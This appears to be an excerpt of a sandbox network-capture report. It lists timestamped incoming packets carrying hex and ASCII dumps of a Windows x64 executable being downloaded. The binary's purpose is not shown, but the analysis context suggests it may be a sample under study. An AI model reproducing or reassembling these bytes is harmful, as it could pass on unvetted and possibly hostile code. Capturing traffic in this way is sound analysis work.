2022-05-23 07:19:16 UTC	21	IN	Data Raw: 33 c9 45 33 c0 33 d2 33 c9 e8 c0 4f 00 00 83 f8 01 75 03 cc 33 c0 e9 91 00 00 00 48 8d 05 8c d2 01 00 48 89 44 24 28 48 8d 05 98 c7 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 8c 4f 00 00 83 f8 01 75 03 cc 33 c0 eb 60 48 8d 05 33 d2 01 00 48 89 44 24 28 48 8d 05 67 c7 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 5b 4f 00 00 83 f8 01 75 03 cc 33 c0 eb 2f 48 8d 05 d2 d1 01 00 48 89 44 24 28 48 8d 05 36 c7 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 2a 4f 00 00 83 f8 01 75 03 cc 33 c0 c7 44 24 5c 00 00 00 00 e9 0c 04 00 00 c7 44 24 5c 01 00 00 00 48 8b 05 86 6b 02 00 48 89 44 24 50 eb 0d 48 8b 44 24 50 48 8b 00 48 89 44 24 50 48 83 7c 24 50 00 0f 84 dd 03 00 00 c7 44 24 60 01 00 00 00 48 8b 44 24 50 8b 40 1c 25 ff ff 00 00 83 f8 Data Ascii: 3E333Ou3HHD$(HHD$ E3E333Ou3`H3HD$(HgHD$ E3E333[Ou3/HHD$(H6HD$ E3E333*Ou3D$\D$\HkHD$PHD$PHHD$PH\|$PD$`HD$P@%
2022-05-23 07:19:16 UTC	23	IN	Data Raw: 34 00 75 3c e8 9c 48 00 00 c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 79 07 00 00 4c 8d 05 b0 c2 01 00 48 8d 15 a1 cd 01 00 48 8d 0d c2 cd 01 00 e8 ad 5a 00 00 8b 05 6f 4d 02 00 eb 67 b9 04 00 00 00 e8 2b 30 00 00 90 8b 05 5c 4d 02 00 89 44 24 30 83 7c 24 50 ff 74 3d 8b 44 24 50 83 e0 04 85 c0 74 0c c7 05 a0 66 02 00 01 00 00 00 eb 12 8b 44 24 50 c1 f8 10 25 ff ff 00 00 89 05 8c 66 02 00 c7 05 56 66 02 00 00 00 00 00 8b 44 24 50 89 05 14 4d 0d 0a Data Ascii: 4u<HHD$ AyLHHZoMg+0\MD$0\|$Pt=D$PtfD$P%fVfD$PM
2022-05-23 07:19:16 UTC	23	IN	Data Raw: 37 66 66 32 0d 0a 02 00 b9 04 00 00 00 e8 32 30 00 00 8b 44 24 30 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc 44 89 44 24 18 89 54 24 10 48 89 4c 24 08 48 83 ec 18 48 83 7c 24 20 00 74 09 c7 04 24 01 00 00 00 eb 07 c7 04 24 00 00 00 00 8b 04 24 48 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 28 48 83 7c 24 30 00 75 04 33 c0 eb 3c 48 8b 44 24 30 48 83 e8 30 45 33 c0 ba 30 00 00 00 48 8b c8 e8 92 ff ff ff 85 c0 75 04 33 c0 eb 1b 48 8b 44 24 30 48 83 e8 30 4c 8b c0 33 d2 48 8b 0d 3d 67 02 00 ff 15 0f bd 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 68 48 83 7c 24 70 00 74 0a c7 44 24 54 01 00 00 00 eb 08 c7 44 24 54 00 00 00 00 8b 44 24 54 89 44 24 50 83 7c 24 50 00 75 2e 48 8d 05 77 ce 01 00 48 89 Data Ascii: 7ff220D$0HHDD$T$HL$HH\|$ t$$$HHL$H(H\|$0u3<HD$0H0E30Hu3HD$0H0L3H=gH(HL$HhH\|$ptD$TD$TD$TD$P\|$Pu.HwH
2022-05-23 07:19:16 UTC	24	IN	Data Raw: 0f cb 01 00 48 89 44 24 28 48 8d 05 73 bc 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 67 44 00 00 83 f8 01 75 03 cc 33 c0 48 83 7c 24 60 00 74 0d 48 8b 44 24 60 48 8b 00 48 89 44 24 48 48 8b 05 c3 60 02 00 48 89 44 24 40 eb 0d 48 8b 44 24 40 48 8b 00 48 89 44 24 40 48 83 7c 24 40 00 0f 84 c9 02 00 00 48 8b 44 24 48 48 39 44 24 40 0f 84 b9 02 00 00 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 03 74 30 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 85 c0 74 1f 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 02 75 12 8b 05 10 47 02 00 83 e0 10 85 c0 75 05 e9 6d 02 00 00 48 8b 44 24 40 48 83 78 10 00 0f 84 a0 00 00 00 45 33 c0 ba 01 00 00 00 48 8b 44 24 40 48 8b 48 10 e8 e6 f9 ff ff 85 c0 74 18 ba 01 00 00 00 48 8b 44 24 40 48 8b 48 10 ff 15 76 b7 01 00 85 c0 Data Ascii: HD$(HsHD$ E3E333gDu3H\|$`tHD$`HHD$HH`HD$@HD$@HHD$@H\|$@HD$HH9D$@HD$@@%t0HD$@@%tHD$@@%uGumHD$@HxE3HD$@HHtHD$@HHv
2022-05-23 07:19:16 UTC	25	IN	Data Raw: 00 00 48 c7 44 24 38 00 00 00 00 c7 44 24 30 1c 09 00 00 48 8d 0d 78 b7 01 00 48 89 4c 24 28 48 8d 0d d4 c5 01 00 48 89 4c 24 20 4c 8d 0d b0 c5 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b 08 e8 8e 00 00 00 e8 19 3d 00 00 8b 8c 24 c4 00 00 00 89 08 e9 0d fe ff ff 48 63 44 24 40 c6 84 04 88 00 00 00 00 48 8d 44 24 50 48 89 44 24 30 48 8d 84 24 88 00 00 00 48 89 44 24 28 48 8d 05 50 c5 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 9c 3e 00 00 83 f8 01 75 03 cc 33 c0 48 8d 8c 24 a0 00 00 00 e8 87 f9 ff ff 48 8b 8c 24 e0 00 00 00 48 33 cc e8 f7 c3 ff ff 48 81 c4 f8 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 89 54 24 10 89 4c 24 08 48 83 ec 38 83 7c 24 40 00 74 14 8b 44 24 48 39 44 24 40 74 10 8b 44 24 50 39 44 Data Ascii: HD$8D$0HxHL$(HHL$ LA"=$HcD$@HD$PHD$0H$HD$(HPHD$ E3E333>u3H$H$H3HLL$ DD$T$L$H8\|$@tD$H9D$@tD$P9D
2022-05-23 07:19:16 UTC	27	IN	Data Raw: 00 48 c7 44 24 50 00 00 00 00 48 8b 44 24 38 48 83 e8 08 48 89 44 24 38 48 8b 44 24 20 48 39 44 24 38 72 11 e8 b0 c9 ff ff 48 8b 4c 24 38 48 39 01 75 02 eb d5 48 8b 44 24 20 48 39 44 24 38 73 05 e9 8d 00 00 00 48 8b 44 24 38 48 8b 08 ff 15 75 ad 01 00 48 89 44 24 30 e8 7b c9 ff ff 48 8b 4c 24 38 48 89 01 ff 54 24 30 48 8b 0d d8 73 02 00 ff 15 52 ad 01 00 48 89 44 24 48 48 8b 0d be 73 02 00 ff 15 40 ad 01 00 48 89 44 24 50 48 8b 44 24 48 48 39 44 24 40 75 0c 48 8b 44 24 50 48 39 44 24 28 74 28 48 8b 44 24 48 48 89 44 24 40 48 8b 44 24 40 48 89 44 24 20 48 8b 44 24 50 48 89 44 24 28 48 8b 44 24 28 48 89 44 24 38 e9 1a ff ff ff 48 8d 15 ef ae 01 00 48 8d 0d c8 ae 01 00 e8 83 01 00 00 48 8d 15 ec ae 01 00 48 8d 0d dd ae 01 00 e8 70 01 00 00 83 3d cd 55 02 00 Data Ascii: HD$PHD$8HHD$8HD$ H9D$8rHL$8H9uHD$ H9D$8sHD$8HuHD$0{HL$8HT$0HsRHD$HHs@HD$PHD$HH9D$@uHD$PH9D$(t(HD$HHD$@HD$@HD$ HD$PHD$(HD$(HD$8HHHHp=U
2022-05-23 07:19:16 UTC	28	IN	Data Raw: 00 00 48 63 84 24 a0 00 00 00 48 8d 0d cf 6c 02 00 48 8b 94 24 c0 00 00 00 48 89 14 c1 8b 05 a1 6c 02 00 83 c0 20 89 05 98 6c 02 00 eb 14 48 8b 84 24 c0 00 00 00 48 83 c0 58 48 89 84 24 c0 00 00 00 48 63 84 24 a0 00 00 00 48 8d 0d 8f 6c 02 00 48 8b 04 c1 48 05 00 0b 00 00 48 39 84 24 c0 00 00 00 0f 83 87 00 00 00 48 8b 84 24 c0 00 00 00 c6 40 08 00 48 8b 84 24 c0 00 00 00 48 c7 00 ff ff ff ff 48 8b 84 24 c0 00 00 00 c6 40 09 0a 48 8b 84 24 c0 00 00 00 c7 40 0c 00 00 00 00 48 8b 84 24 c0 00 00 00 0f b6 40 38 24 80 48 8b 8c 24 c0 00 00 00 88 41 38 48 8b 84 24 c0 00 00 00 c6 40 39 0a 48 8b 84 24 c0 00 00 00 c6 40 3a 0a 48 8b 84 24 c0 00 00 00 c7 40 50 00 00 00 00 48 8b 84 24 c0 00 00 00 c6 40 4c 00 e9 3e ff ff ff e9 a1 fe ff ff c7 84 24 a8 00 00 00 00 00 00 Data Ascii: Hc$HlH$Hl lH$HXH$Hc$HlHHH9$H$@H$HH$@H$@H$@8$H$A8H$@9H$@:H$@PH$@L>$
2022-05-23 07:19:16 UTC	29	IN	Data Raw: cc cc cc cc cc cc cc 48 83 ec 58 83 3d 8d 69 02 00 00 75 05 e8 4e 2c 00 00 c7 44 24 38 00 00 00 00 48 8b 05 d7 45 02 00 48 89 44 24 30 48 83 7c 24 30 00 75 0a b8 ff ff ff ff e9 cf 01 00 00 48 8b 44 24 30 0f be 00 85 c0 74 32 48 8b 44 24 30 0f be 00 83 f8 3d 74 0a 8b 44 24 38 ff c0 89 44 24 38 48 8b 4c 24 30 e8 cb 5a 00 00 48 8b 4c 24 30 48 8d 44 01 01 48 89 44 24 30 eb c2 8b 44 24 38 ff c0 48 98 c7 44 24 20 75 00 00 00 4c 8d 0d c3 b6 01 00 41 b8 02 00 00 00 ba 08 00 00 00 48 8b c8 e8 00 cb ff ff 48 89 44 24 40 48 8b 44 24 40 48 89 05 27 4b 02 00 48 83 3d 1f 4b 02 00 00 75 0a b8 ff ff ff ff e9 42 01 00 00 48 8b 05 2c 45 02 00 48 89 44 24 30 eb 15 48 63 44 24 48 48 8b 4c 24 30 48 03 c8 48 8b c1 48 89 44 24 30 48 8b 44 24 30 0f be 00 85 c0 0f 84 db 00 00 00 Data Ascii: HX=iuN,D$8HEHD$0H\|$0uHD$0t2HD$0=tD$8D$8HL$0ZHL$0HDHD$0D$8HD$ uLAHHD$@HD$@H'KH=KuBH,EHD$0HcD$HHL$0HHHD$0HD$0
2022-05-23 07:19:16 UTC	31	IN	Data Raw: 85 c0 74 23 83 7c 24 28 00 0f 85 02 ff ff ff 0f b6 44 24 30 83 f8 20 74 0e 0f b6 44 24 30 83 f8 09 0f 85 ea fe ff ff 0f b6 44 24 30 85 c0 75 0f 48 8b 44 24 20 48 ff c8 48 89 44 24 20 eb 11 48 83 7c 24 60 00 74 09 48 8b 44 24 60 c6 40 ff 00 c7 44 24 28 00 00 00 00 48 8b 44 24 20 0f be 00 85 c0 74 29 48 8b 44 24 20 0f be 00 83 f8 20 74 0d 48 8b 44 24 20 0f be 00 83 f8 09 75 0f 48 8b 44 24 20 48 ff c0 48 89 44 24 20 eb d7 48 8b 44 24 20 0f be 00 85 c0 75 05 e9 5b 02 00 00 48 83 7c 24 58 00 74 1b 48 8b 44 24 58 48 8b 4c 24 60 48 89 08 48 8b 44 24 58 48 83 c0 08 48 89 44 24 58 48 8b 44 24 68 8b 00 ff c0 48 8b 4c 24 68 89 01 c7 44 24 2c 01 00 00 00 c7 44 24 34 00 00 00 00 48 8b 44 24 20 0f be 00 83 f8 5c 75 19 48 8b 44 24 20 48 ff c0 48 89 44 24 20 8b 44 24 34 Data Ascii: t#\|$(D$0 tD$0D$0uHD$ HHD$ H\|$`tHD$`@D$(HD$ t)HD$ tHD$ uHD$ HHD$ HD$ u[H\|$XtHD$XHL$`HHD$XHHD$XHD$hHL$hD$,D$4HD$ \uHD$ HHD$ D$4
2022-05-23 07:19:16 UTC	32	IN	Data Raw: 75 04 33 c0 eb 35 ff 15 c9 98 01 00 8b c0 48 25 ff 00 00 00 0f b6 c0 83 f8 06 7d 1a 41 b9 04 00 00 00 4c 8d 44 24 20 33 d2 48 8b 0d 4d 42 02 00 ff 15 97 98 01 00 b8 01 00 00 00 48 83 c4 38 c3 cc cc cc cc cc 48 83 ec 28 48 8b 0d 2d 42 02 00 ff 15 8f 98 01 00 48 c7 05 1c 42 02 00 00 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 48 48 c7 44 24 20 00 00 00 00 48 b8 32 a2 df 2d 99 2b 00 00 48 39 05 fa 26 02 00 74 16 48 8b 05 f1 26 02 00 48 f7 d0 48 89 05 ef 26 02 00 e9 d2 00 00 00 48 8d 4c 24 20 ff 15 4f 98 01 00 48 8b 44 24 20 48 89 44 24 28 ff 15 37 98 01 00 8b c0 48 8b 4c 24 28 48 33 c8 48 8b c1 48 89 44 24 28 ff 15 df 96 01 00 8b c0 48 8b 4c 24 28 48 33 c8 48 8b c1 48 89 44 24 28 ff 15 ff 97 01 00 8b c0 48 8b 4c 24 28 48 33 Data Ascii: u35H%}ALD$ 3HMBH8H(H-BHBH(HHHD$ H2-+H9&tH&HH&HL$ OHD$ HD$(7HL$(H3HHD$(HL$(H3HHD$(HL$(H3
2022-05-23 07:19:16 UTC	33	IN	Data Raw: 08 48 89 54 24 18 44 89 44 24 10 49 c7 c1 20 05 93 19 eb 08 cc cc cc cc cc cc 66 90 c3 cc cc cc cc cc cc 66 0f 1f 84 00 00 00 00 00 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 89 44 24 08 48 8b 44 24 08 0f b7 00 3d 4d 5a 00 00 74 04 33 c0 eb 4e 48 8b 44 24 08 48 63 40 3c 48 8b 4c 24 08 48 03 c8 48 8b c1 48 89 44 24 10 48 8b 44 24 10 81 38 50 45 00 00 74 04 33 c0 eb 24 48 8b 44 24 10 48 83 c0 18 48 89 04 24 48 8b 04 24 0f b7 00 3d 0b 02 00 00 74 04 33 c0 eb 05 b8 01 00 00 00 48 83 c4 28 c3 cc cc cc cc cc cc cc 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 48 8b 44 24 30 48 63 40 3c 48 8b 4c 24 30 48 03 c8 48 8b c1 48 89 04 24 c7 44 24 08 00 00 00 00 48 8b 04 24 0f b7 40 14 48 8b 0c 24 48 8d 44 01 18 48 89 44 24 Data Ascii: HT$DD$I ffHL$H(HD$0HD$HD$=MZt3NHD$Hc@<HL$HHHD$HD$8PEt3$HD$HH$H$=t3H(HT$HL$H(HD$0Hc@<HL$0HHH$D$H$@H$HDHD$
2022-05-23 07:19:16 UTC	35	IN	Data Raw: c0 10 48 8d 0d 6a 1d 02 00 48 8b 0c 01 ff 15 48 8e 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 28 48 63 44 24 30 48 6b c0 10 48 8d 0d 38 1d 02 00 48 8b 0c 01 ff 15 1e 8e 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc 48 89 4c 24 08 48 83 ec 18 48 8b 44 24 20 f0 ff 00 48 8b 44 24 20 48 83 b8 10 01 00 00 00 74 0f 48 8b 44 24 20 48 8b 80 10 01 00 00 f0 ff 00 48 8b 44 24 20 48 83 b8 20 01 00 00 00 74 0f 48 8b 44 24 20 48 8b 80 20 01 00 00 f0 ff 00 48 8b 44 24 20 48 83 b8 18 01 00 00 00 74 0f 48 8b 44 24 20 48 8b 80 18 01 00 00 f0 ff 00 48 8b 44 24 20 48 83 b8 30 01 00 00 00 74 0f 48 8b 44 24 20 48 8b 80 30 01 00 00 f0 ff 00 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff c0 89 04 24 83 3c 24 05 0f 8f 89 00 00 00 48 63 04 24 48 6b c0 20 Data Ascii: HjHHH(L$H(HcD$0HkH8HH(HL$HHD$ HD$ HtHD$ HHD$ H tHD$ H HD$ HtHD$ HHD$ H0tHD$ H0$$$<$Hc$Hk
2022-05-23 07:19:16 UTC	36	IN	Data Raw: 6b c0 20 48 8b 4c 24 50 48 8b 44 01 58 83 38 00 75 1d 48 63 44 24 30 48 6b c0 20 ba 02 00 00 00 48 8b 4c 24 50 48 8b 4c 01 58 e8 6b ba ff ff 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 50 00 74 16 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 75 5a 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 50 00 75 16 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 74 2e 48 8d 05 3c 9e 01 00 48 89 44 24 20 45 33 c9 41 b8 bc 00 00 00 48 8d 15 b7 9d 01 00 b9 02 00 00 00 e8 6d 1a 00 00 83 f8 01 75 03 cc 33 c0 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 50 00 74 4b 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 83 7c 01 60 00 74 35 48 63 44 24 30 48 6b c0 20 48 8b 4c 24 50 48 8b 44 01 60 83 38 00 75 1d 48 63 44 24 30 48 Data Ascii: k HL$PHDX8uHcD$0Hk HL$PHLXkHcD$0Hk HL$PH\|PtHcD$0Hk HL$PH\|`uZHcD$0Hk HL$PH\|PuHcD$0Hk HL$PH\|`t.H<HD$ E3AHmu3HcD$0Hk HL$PH\|PtKHcD$0Hk HL$PH\|`t5HcD$0Hk HL$PHD`8uHcD$0H
2022-05-23 07:19:16 UTC	37	IN	Data Raw: 47 10 66 89 04 4a eb ce c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 81 7c 24 20 01 01 00 00 7d 20 48 63 44 24 20 48 63 4c 24 20 48 8d 15 2a 1b 02 00 48 8b 7c 24 28 0f b6 44 07 1c 88 04 0a eb cc c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 81 7c 24 20 00 01 00 00 7d 23 48 63 44 24 20 48 63 4c 24 20 48 8d 15 fc 1b 02 00 48 8b 7c 24 28 0f b6 84 07 1d 01 00 00 88 04 0a eb c9 48 8b 05 e3 1c 02 00 b9 ff ff ff ff f0 0f c1 08 ff c9 8b c1 85 c0 75 21 48 8d 05 9b 18 02 00 48 39 05 c4 1c 02 00 74 11 ba 02 00 00 00 48 8b 0d b6 1c 02 00 e8 81 b4 ff ff 48 8b 44 24 28 48 89 05 a5 1c 02 00 48 8b 44 24 28 f0 ff 00 b9 0d 00 00 00 e8 93 f4 ff ff eb 2f 83 7c 24 38 ff 75 28 48 8d 05 53 18 02 00 48 39 44 24 28 74 0f ba 02 00 00 00 48 8b 4c 24 28 Data Ascii: GfJD$ D$ D$ \|$ } HcD$ HcL$ H*H\|$(DD$ D$ D$ \|$ }#HcD$ HcL$ HH\|$(Hu!HH9tHHD$(HHD$(/\|$8u(HSH9D$(tHL$(
2022-05-23 07:19:16 UTC	39	IN	Data Raw: 24 30 77 2e 8b 44 24 30 ff c0 8b c0 48 8b 8c 24 88 00 00 00 0f b6 44 01 1c 83 c8 04 8b 4c 24 30 ff c1 8b c9 48 8b 94 24 88 00 00 00 88 44 0a 1c eb b9 eb 82 c7 44 24 30 01 00 00 00 eb 0a 8b 44 24 30 ff c0 89 44 24 30 81 7c 24 30 ff 00 00 00 73 2e 8b 44 24 30 ff c0 8b c0 48 8b 8c 24 88 00 00 00 0f b6 44 01 1c 83 c8 08 8b 4c 24 30 ff c1 8b c9 48 8b 94 24 88 00 00 00 88 44 0a 1c eb be 48 8b 84 24 88 00 00 00 8b 48 04 e8 a8 00 00 00 48 8b 8c 24 88 00 00 00 89 41 0c 48 8b 84 24 88 00 00 00 c7 40 08 01 00 00 00 eb 0f 48 8b 84 24 88 00 00 00 c7 40 08 00 00 00 00 c7 44 24 20 00 00 00 00 eb 0a 8b 44 24 20 ff c0 89 44 24 20 83 7c 24 20 06 73 15 8b 44 24 20 33 c9 48 8b 94 24 88 00 00 00 66 89 4c 42 10 eb da 48 8b 8c 24 88 00 00 00 e8 a0 01 00 00 33 c0 eb 1f 83 3d 1d Data Ascii: $0w.D$0H$DL$0H$DD$0D$0D$0\|$0s.D$0H$DL$0H$DH$HH$AH$@H$@D$ D$ D$ \|$ sD$ 3H$fLBH$3=
2022-05-23 07:19:16 UTC	40	IN	Data Raw: 44 01 1c 83 c8 20 8b 8c 24 70 05 00 00 ff c1 8b c9 48 8b 94 24 b0 05 00 00 88 44 0a 1c 8b 84 24 70 05 00 00 8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 0f b6 84 04 60 03 00 00 88 84 0a 1d 01 00 00 eb 17 8b 84 24 70 05 00 00 48 8b 8c 24 b0 05 00 00 c6 84 01 1d 01 00 00 00 e9 e8 fe ff ff e9 1a 01 00 00 c7 84 24 70 05 00 00 00 00 00 00 eb 10 8b 84 24 70 05 00 00 ff c0 89 84 24 70 05 00 00 81 bc 24 70 05 00 00 00 01 00 00 0f 83 ec 00 00 00 83 bc 24 70 05 00 00 41 72 5e 83 bc 24 70 05 00 00 5a 77 54 8b 84 24 70 05 00 00 ff c0 8b c0 48 8b 8c 24 b0 05 00 00 0f b6 44 01 1c 83 c8 10 8b 8c 24 70 05 00 00 ff c1 8b c9 48 8b 94 24 b0 05 00 00 88 44 0a 1c 8b 84 24 70 05 00 00 83 c0 20 8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 88 84 0a 1d 01 00 00 eb 7f 83 bc 24 70 Data Ascii: D $pH$D$p$pH$`$pH$$p$p$p$p$pAr^$pZwT$pH$D$pH$D$p $pH$$p
2022-05-23 07:19:16 UTC	41	IN	Data Raw: 00 00 00 00 c7 84 24 a0 00 00 00 00 00 00 00 48 83 bc 24 60 12 00 00 00 75 0a b8 01 00 00 00 e9 72 05 00 00 c6 84 24 b4 11 00 00 00 41 b8 04 01 00 00 48 8d 94 24 b0 10 00 00 33 c9 ff 15 fc 72 01 00 85 c0 75 46 4c 8d 05 09 93 01 00 ba 04 01 00 00 48 8d 8c 24 b0 10 00 00 e8 37 26 00 00 48 c7 44 24 28 00 00 00 00 c7 44 24 20 3c 01 00 00 4c 8d 0d ef 8e 01 00 4c 8d 05 b0 92 01 00 48 8d 15 41 92 01 00 8b c8 e8 6a d1 ff ff 48 8d 84 24 b0 10 00 00 48 89 84 24 98 00 00 00 48 8b 8c 24 98 00 00 00 e8 6d 2a 00 00 48 83 f8 40 0f 86 8d 00 00 00 48 8b 8c 24 98 00 00 00 e8 56 2a 00 00 48 8b 8c 24 98 00 00 00 48 8d 44 01 c0 48 89 84 24 98 00 00 00 48 8d 84 24 b0 10 00 00 48 8b 8c 24 98 00 00 00 48 2b c8 48 8b c1 b9 04 01 00 00 48 2b c8 48 8b c1 41 b9 03 00 00 00 4c 8b 05 Data Ascii: $H$`ur$AH$3ruFLH$7&HD$(D$ <LLHAjH$H$H$mH@H$VH$HDH$H$H$H+HH+HAL
2022-05-23 07:19:16 UTC	43	IN	Data Raw: e8 68 59 00 00 89 84 24 c0 11 00 00 83 bc 24 c0 11 00 00 03 75 14 b9 16 00 00 00 e8 7d 1c 00 00 b9 03 00 00 00 e8 13 bd ff ff 83 bc 24 c0 11 00 00 04 75 07 b8 01 00 00 00 eb 02 33 c0 48 8b 8c 24 28 12 00 00 48 33 cc e8 e0 7e ff ff 48 81 c4 38 12 00 00 c3 cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 48 48 8d 44 24 78 48 89 44 24 30 48 8b 44 24 30 48 89 44 24 28 48 8b 44 24 70 48 89 44 24 20 4c 8b 4c 24 68 44 8b 44 24 60 48 8b 54 24 58 8b 4c 24 50 e8 23 00 00 00 89 44 24 38 48 c7 44 24 30 00 00 00 00 8b 44 24 38 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 89 4c 24 08 48 83 ec 38 48 8b 44 24 68 48 89 44 24 28 48 8b 44 24 60 48 89 44 24 20 4c 8b 4c 24 58 44 8b Data Ascii: hY$$u}$u3H$(H3~H8LL$ DD$HT$L$HHHD$xHD$0HD$0HD$(HD$pHD$ LL$hDD$`HT$XL$P#D$8HD$0D$8HHLL$ DD$HT$L$H8HD$hHD$(HD$`HD$ LL$XD
2022-05-23 07:19:16 UTC	44	IN	Data Raw: 89 54 24 68 48 8b 94 24 e8 22 00 00 48 89 54 24 60 48 8b 94 24 f0 22 00 00 48 89 54 24 58 48 8b 94 24 f8 22 00 00 48 89 54 24 50 48 8b 94 24 00 23 00 00 48 89 54 24 48 48 8b 94 24 08 23 00 00 48 89 54 24 40 48 8b 94 24 18 23 00 00 48 89 54 24 38 48 8b 94 24 20 23 00 00 48 89 54 24 30 48 8b 94 24 98 00 00 00 48 89 54 24 28 48 8b 04 c1 48 89 44 24 20 4c 8d 0d f8 89 01 00 41 b8 ff 0f 00 00 ba 00 10 00 00 48 8d 8c 24 b0 00 00 00 e8 50 5c 00 00 89 84 24 a0 00 00 00 83 bc 24 a0 00 00 00 00 7d 47 e8 da f1 ff ff 48 c7 44 24 38 00 00 00 00 c7 44 24 30 60 01 00 00 48 8d 0d f2 83 01 00 48 89 4c 24 28 48 8d 0d 0e 8c 01 00 48 89 4c 24 20 4c 8d 0d 2a 7a 01 00 41 b8 22 00 00 00 ba 16 00 00 00 8b 08 e8 08 b5 ff ff e8 93 f1 ff ff 8b 8c 24 c4 22 00 00 89 08 83 bc 24 a0 00 Data Ascii: T$hH$"HT$`H$"HT$XH$"HT$PH$#HT$HH$#HT$@H$#HT$8H$ #HT$0H$HT$(HHD$ LAH$P\$$}GHD$8D$0`HHL$(HHL$ L*zA"$"$
2022-05-23 07:19:16 UTC	45	IN	Data Raw: 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 28 41 b8 01 00 00 00 ba 17 04 00 c0 b9 02 00 00 00 e8 23 00 00 00 ff 15 35 62 01 00 ba 17 04 00 c0 48 8b c8 ff 15 1f 62 01 00 48 83 c4 28 c3 cc cc cc cc cc cc cc cc cc cc 44 89 44 24 18 89 54 24 10 89 4c 24 08 57 48 81 ec 10 06 00 00 48 8b 05 ac f1 01 00 48 33 c4 48 89 84 24 00 06 00 00 83 bc 24 20 06 00 00 ff 74 0c 8b 8c 24 20 06 00 00 e8 03 cf ff ff c7 84 24 60 05 00 00 00 00 00 00 48 8d 84 24 64 05 00 00 48 8b f8 33 c0 b9 94 00 00 00 f3 aa 48 8d 84 24 60 05 00 00 48 89 44 24 40 48 8d 44 24 70 48 89 44 24 48 c7 44 24 50 00 00 00 00 c7 84 24 50 05 00 00 00 00 00 00 48 8d 4c 24 70 ff 15 b7 61 01 00 48 8b 84 24 68 01 00 00 48 89 84 24 48 05 00 00 45 33 c0 48 8d 94 24 58 05 00 00 48 8b 8c 24 48 05 00 00 Data Ascii: LD$HT$HL$H(A#5bHbH(DD$T$L$WHHH3H$$ t$ $`H$dH3H$`HD$@HD$pHD$HD$P$PHL$paH$hH$HE3H$XH$H
2022-05-23 07:19:16 UTC	47	IN	Data Raw: 48 e8 dc a4 ff ff 48 8b 00 48 89 84 24 80 00 00 00 48 8d 4c 24 48 e8 c7 a4 ff ff c7 44 24 38 01 00 00 00 48 8b 4c 24 78 8b 49 14 89 4c 24 30 48 8b 8c 24 80 00 00 00 8b 49 04 89 4c 24 28 48 8d 4c 24 40 48 89 4c 24 20 44 8b 4c 24 44 4c 8d 44 24 68 ba 01 00 00 00 48 8b c8 e8 13 31 00 00 85 c0 75 18 c7 44 24 70 00 00 00 00 48 8d 4c 24 48 e8 2d a4 ff ff 8b 44 24 70 eb 1e 0f b7 44 24 40 23 84 24 a8 00 00 00 89 44 24 74 48 8d 4c 24 48 e8 0d a4 ff ff 8b 44 24 74 48 81 c4 98 00 00 00 c3 cc cc cc cc cc cc cc 66 66 0f 1f 84 00 00 00 00 00 4c 8b d9 48 2b d1 0f 82 9e 01 00 00 49 83 f8 08 72 61 f6 c1 07 74 36 f6 c1 01 74 0b 8a 04 0a 49 ff c8 88 01 48 ff c1 f6 c1 02 74 0f 66 8b 04 0a 49 83 e8 02 66 89 01 48 83 c1 02 f6 c1 04 74 0d 8b 04 0a 49 83 e8 04 89 01 48 83 c1 04 Data Ascii: HHH$HL$HD$8HL$xIL$0H$IL$(HL$@HL$ DL$DLD$hH1uD$pHL$H-D$pD$@#$D$tHL$HD$tHffLH+Irat6tIHtfIfHtIH
